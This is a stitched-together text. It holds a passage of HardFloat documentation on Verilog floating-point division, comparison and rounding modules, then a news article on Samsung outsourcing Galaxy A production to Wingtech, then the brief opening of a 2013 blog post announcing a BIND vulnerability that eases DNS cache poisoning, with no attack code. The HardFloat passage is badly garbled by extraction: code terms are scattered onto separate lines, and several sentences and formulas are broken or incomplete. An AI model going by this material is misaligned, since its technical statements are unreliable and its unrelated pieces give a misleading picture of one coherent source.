, is active-negative and operates
asynchronously within the module.
(By applying reset asynchronously, the module should accept any valid form of
reset, assuming proper care is taken elsewhere to synchronize the release of
reset with the clock.)
No clock cycles are needed during reset.
Apart from reset, state changes within the module occur only on the rising
edges of clock
.
The module asserts inReady
true (inReady
and inValid
are both true at
a rising edge of clock
, a new operation is begun, and inputs
control
, sqrtOp
, a
, b
, and
roundingMode
must also be valid.
The computation of inValid
(or any other module input) should not
depend on inReady
within the same clock cycle.
If sqrtOp
a
÷ b
sqrtOp
a
b
is
ignored.
After some number of clock cycles, outValid
is asserted
true for exactly one clock cycle, at which time outputs
sqrtOpOut
, out
, and exceptionFlags
are
all valid.
These outputs become invalid again in the very next clock cycle if another
division or square root operation gets initiated before or during the cycle
that outValid
is true.
There is no mechanism within the module to retain a result for more than one
cycle once another division or square root has begun.
On the other hand, if no subsequent operation has yet been started when
outValid
is asserted, then divSqrtRecFN_small
will
hold its result outputs constant until a new operation is begun (by asserting
inValid
while inReady
is true).
Even so, outValid
is never asserted for more than one clock cycle
per result, indicating the first cycle when the result is valid.
Output sqrtOpOut
is merely a copy of the original
sqrtOp
for the operation.
It is expected that clients will rarely have a need for this output.
The number of clock cycles to complete an operation is not guaranteed to be
constant, but may in fact depend on all inputs to the operation, including
a
, b
, and roundingMode
.
Because the module employs algorithms that compute one result bit per cycle,
the number of cycles is typically
sigWidth
+ n
A variant module, divSqrtRecFNToRaw_small
, returns the
intermediate result of a division or square root operation
before rounding, as a “raw” deconstructed floating-point
value with two extra bits of significand:
module divSqrtRecFNToRaw_small#( parameter expWidth, parameter sigWidth, parameter options = 0 ) ( input nReset, input clock, input [(`floatControlWidth - 1):0] control, output inReady, input inValid, input sqrtOp, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, input [2:0] roundingMode, output outValid, output sqrtOpOut, output [2:0] roundingModeOut, output invalidExc, output infiniteExc, output out_isNaN, output out_isInf, output out_isZero, output out_sign, output signed [(expWidth + 1):0] out_sExp, output [(sigWidth + 2):0] out_sig );
Functionally, the only difference between this module and
divSqrtRecFN_small
is the form of the outputs.
Like sqrtOpOut
, output roundingModeOut
is simply a
copy of the original roundingMode
for the operation.
Boolean output invalidExc
is true if the operation should
raise an invalid exception, while infiniteExc
is
true if the operation should raise an infinite exception
(“divide by zero”).
Module roundRawFNToRecFN
can be used to round the intermediate
result in conformance with the IEEE Standard.
compareRecFN
)
Module compareRecFN
compares two recoded floating-point values for
equality or inequality, according to the IEEE Standard.
Its parameters and ports are as follows:
module compareRecFN#(parameter expWidth, parameter sigWidth) ( input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, input signaling, output lt, output eq, output gt, output unordered, output [4:0] exceptionFlags );
If Boolean input signaling
is true, a signaling
comparison is done, meaning that an invalid exception is raised if
either operand is any kind of NaN.
If signaling
is false, a quiet comparison is done,
meaning that quiet NaNs do not cause an invalid exception.
The IEEE Standard mandates that equality comparisons (
Boolean outputs lt
, eq
, and gt
indicate
whether a
< b
a
= b
a
> b
unordered
is true if either operand is a NaN.
Exactly one of lt
, eq
, gt
, and
unordered
will be true for any pair of operands,
a
b
A few HardFloat modules are components that are shared by multiple
floating-point operations.
One such module tests whether a floating-point value is a signaling NaN.
Other modules convert into and out of the deconstructed “raw” forms
documented earler in isSigNaNRecFN.v
and
HardFloat_rawFN.v
.
These modules are documented here for those who may need to use them directly. Otherwise, this section can be skipped.
isSigNaNRecFN
Module isSigNaNRecFN
tells whether a floating-point value is a
signaling NaN.
It has these parameters and ports:
module isSigNaNRecFN#(parameter expWidth, parameter sigWidth) ( input [(expWidth + sigWidth):0] in, output isSigNaN );
As indicated by the module’s name, the input floating-point value is in
HardFloat’s recoded format.
The output isSigNaN
is true if the input is a signaling
NaN.
recFNToRawFN
Module recFNToRawFN
converts a floating-point value from
HardFloat’s recoded format into the “raw” deconstructed form.
Its parameters and ports are as follows:
module recFNToRawFN#(parameter expWidth, parameter sigWidth) ( input [(expWidth + sigWidth):0] in, output isNaN, output isInf, output isZero, output sign, output signed [(expWidth + 1):0] sExp, output [sigWidth:0] sig );
For general information about the deconstructed form, see
isNaN
, isInf
, and isZero
are always valid, so at most one is true.
(Ordinarily, when isNaN
is true, the value of
isInf
is irrelevant, and when isNaN
or
isInf
is true, isZero
is irrelevant.)
sExp
is never negative.
isNaN
, isInf
, and
isZero
all being false):
sExp
is in the recoded format’s range of
sigWidth
expWidth
− 1sig
are binary 01
.
isZero
is true):
sExp
is less than the value it has for any finite nonzero number
in the same format (i.e., less than
sigWidth
sig
is zero.
roundAnyRawFNToRecFN
Module roundAnyRawFNToRecFN
takes an intermediate floating-point
value in deconstructed form and rounds it to a valid IEEE-conformant value in a
recoded format, applying the requested rounding mode and taking account of any
exceptional conditions such as underflow or overflow.
This module is declared with these parameters and ports:
module roundAnyRawFNToRecFN#( parameter inExpWidth, parameter inSigWidth, parameter outExpWidth, parameter outSigWidth, parameter options = 0 ) ( input [(`floatControlWidth - 1):0] control, input invalidExc, input infiniteExc, input in_isNaN, input in_isInf, input in_isZero, input in_sign, input signed [(inExpWidth + 1):0] in_sExp, input [inSigWidth:0] in_sig, input [2:0] roundingMode, output [(outExpWidth + outSigWidth):0] out, output [4:0] exceptionFlags );
Parameters inExpWidth
and inSigWidth
characterize the
floating-point input to be rounded, while outExpWidth
and
outSigWidth
control the result format.
The options
parameter is explained later below.
Inputs control
and roundingMode
are as documented in
in_*
inputs obviously supply the incoming floating-point value
in deconstructed form.
Output out
is the rounded IEEE floating-point value, in recoded
format, while exceptionFlags
delivers the five floating-point
exception flags as documented in
That leaves only inputs invalidExc
and infiniteExc
,
both Booleans.
If invalidExc
is true, it forces an invalid
exception to be asserted, independent of the other inputs, so the
floating-point result delivered by out
will be a NaN, and an
invalid exception will be indicated in exceptionFlags
.
Similarly, infiniteExc
asserts an infinite exception
(“divide by zero”) independent of most other inputs.
If invalidExc
is false and infiniteExc
is
true, the floating-point output will be an infinity with sign
in_sign
, and an infinite exception will be indicated in
exceptionFlags
.
When the floating-point input to roundAnyRawFNToRecFN
is the
intermediate result of an operation, its precision typically needs to be at
least two bits greater than the output precision to avoid corrupting the result
value, i.e.,
inSigWidth
≥ outSigWidth
+ 2iNToRawFN
or recFNToRawFN
), then
no relationship between input and output formats is necessary.
Source file HardFloat_consts.vi
defines several
‘flRoundOpt_
’ macros to be used for the
options
parameter, with the following meanings:
flRoundOpt_sigMSBitAlwaysZero
- For finite nonzero values, the two most-significant bits of
in_sig
are always binary01
.flRoundOpt_subnormsAlwaysExact
- Whenever the floating-point result is a subnormal, the result is always exact, requiring no real rounding. The inexact exception is therefore never indicated for subnormal results. (This case commonly arises with floating-point addition and subtraction.)
flRoundOpt_neverUnderflows
- Underflow never occurs, because, for finite nonzero values, the floating-point exponent is never below the normal range.
flRoundOpt_neverOverflows
- Overflow never occurs, because, for finite nonzero values, the floating-point exponent is never above the normal range.
The options
parameter can be set to the bitwise OR of any
combination of these macro values, or to 0, if none is applicable.
By setting options
to the maximal set of conditions that apply,
the efficiency of the module may be improved.
If the floating-point output is a NaN (because either invalidExc
is true, or invalidExc
and infiniteExc
are
false and in_isNaN
is true), and if macro
HardFloat_propagateNaNPayloads
is defined (refer back to
in_sign
and in_sig
.
This is true even when the NaN result should be the default NaN.
The client is responsible for controlling when a NaN result will be the default
NaN, by setting in_sign
and in_sig
appropriately.
On the other hand, if macro HardFloat_propagateNaNPayloads
is not
defined, any NaN outputs from roundAnyRawFNToRecFN
are always the
default NaN, and inputs in_sign
and in_sig
are
ignored for NaNs.
roundRawFNToRecFN
Module roundRawFNToRecFN
is a variation on
roundAnyRawFNToRecFN
, with the same set of ports but fewer
parameters:
module roundRawFNToRecFN#( parameter expWidth, parameter sigWidth, parameter options = 0 ) ( input [(`floatControlWidth - 1):0] control, input invalidExc, input infiniteExc, input in_isNaN, input in_isInf, input in_isZero, input in_sign, input signed [(expWidth + 1):0] in_sExp, input [(sigWidth + 2):0] in_sig, input [2:0] roundingMode, output [(expWidth + sigWidth):0] out, output [4:0] exceptionFlags );
roundRawFNToRecFN
is identical to
roundAnyRawFNToRecFN
with this assignment of parameters:
inExpWidth
=expWidth
inSigWidth
=sigWidth
+ 2
outExpWidth
=expWidth
outSigWidth
=sigWidth
Note that the deconstructed input has implicitly two more bits of precision
than the specified sigWidth
would normally indicate.
The HardFloat package includes a subdirectory named test
containing source code and example Makefile
s for testing
HardFloat’s Verilog modules.
To execute the tests, either a Verilog simulator or Verilator is required.
(Verilator is a free tool for converting a subset of synthesizable Verilog or
SystemVerilog into C++ code.
When compiled into an executable program, the code generated by Verilator has
been found to run much faster than some Verilog simulators.)
HardFloat’s test infrastructure also depends on Berkeley TestFloat, which must be obtained and compiled separately. And building TestFloat furthermore requires Berkeley SoftFloat, thus completing the three-part set of Berkeley HardFloat, SoftFloat, and TestFloat. Information about TestFloat and SoftFloat can be found at their respective Web pages:
http://www.jhauser.us/arithmetic/TestFloat.html
http://www.jhauser.us/arithmetic/SoftFloat.html
Separate documentation is supplied according to whether one is using a Verilog simulator or Verilator for testing:
HardFloat-test-Verilog.html
Documentation for testing HardFloat using Verilog simulation. HardFloat-test-Verilator.html
Documentation for testing HardFloat using Verilator.
At the time of this writing, the most up-to-date information about HardFloat
and the latest release can be found at the Web page
http://www.jhauser.us/arithmetic/HardFloat.html


cut costs
Samsung outsourcing some production to China to compete with Chinese brands
Using a Chinese ODM will help it lower prices on budget level phones.
by Jason EnglandWhat you need to know
- Samsung is partnering with a Chinese ODM Wingtech to produce its Galaxy A series phones in China to save money.
- The South Korean company plans to ship 60 million made in China phones, according to sources.
- Critics fear there could be quality issues with the ODM-made phones and that it could likely backfire, lowering the costs for all companies instead of just Samsung.
In a surprise move, Samsung will outsource one-fifth of its smartphone production to China next year after shutting down its last smartphone factory in the country in October. The move comes as Samsung faces increasing pressure and competition in the budget segment of the market from Chinese brands. An unnamed Samsung insider said:
It is crucial to cut costs to maintain competitiveness with Huawei and other Chinese handset makers.
As part of the strategy, Samsung will move production of its Galaxy A phones to China and partner with original design manufacturer Wingtech. Partnering with an ODM is nothing new, many larger brands such as Huawei and LG use contractors like Wingtech to save money.
One way an ODM saves major brands money is with the cost of components. Counterpoint Research says ODMs can get components 10-15% cheaper than larger brands, and one source says Wingtech can get some parts up to 30% cheaper than Samsung does for its factories in Vietnam.
Samsung is currently the number one smartphone maker in the world, but in recent years, it has felt pressure from Huawei and other Chinese brands that sell volumes of budget phones for a cheaper price. By switching to an ODM for it's Galaxy A series, Samsung will be able to better compete on price against Chinese brands where profits on budget phones are razor-thin.
Wingtech will not only assist in the production, but also in the design of the phones with the Galaxy A6S being one of the phones being outsourced. According to sources involved, Samsung plans to ship 60 million made in China phones out of its total 300 million devices. Most of the Wingtech phones will be shipped to Southeast Asia and South America, according to one source.
Critics fear that this shift from Samsung could lead to quality issues at a time where Samsung cannot afford any more problems after the rocky launch of the Galaxy Fold. However, when speaking to Reuters Samsung says it will apply the "same quality checks and standards it does with all its devices."
Others are worried that giving ODMs more business will backfire and lower the costs for all brands. According to a source with knowledge of Samsung's Chinese operations, "This is an inevitable strategy rather than a good strategy."
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---
layout: post
title: Subverting BIND’s SRTT Algorithm (WOOT '13)
date: '2013-08-14T02:16:00.001+03:00'
author: Roee Hay
tags:
modified_time: '2013-08-14T02:26:06.110+03:00'
---
Today I presented at USENIX WOOT ‘13 a new vulnerability that we had found in BIND, the most popular DNS server.Exploiting this vulnerability allows to reduce the amount of effort required for an off-path (blind) DNS cache poisoning attack.
Important links:


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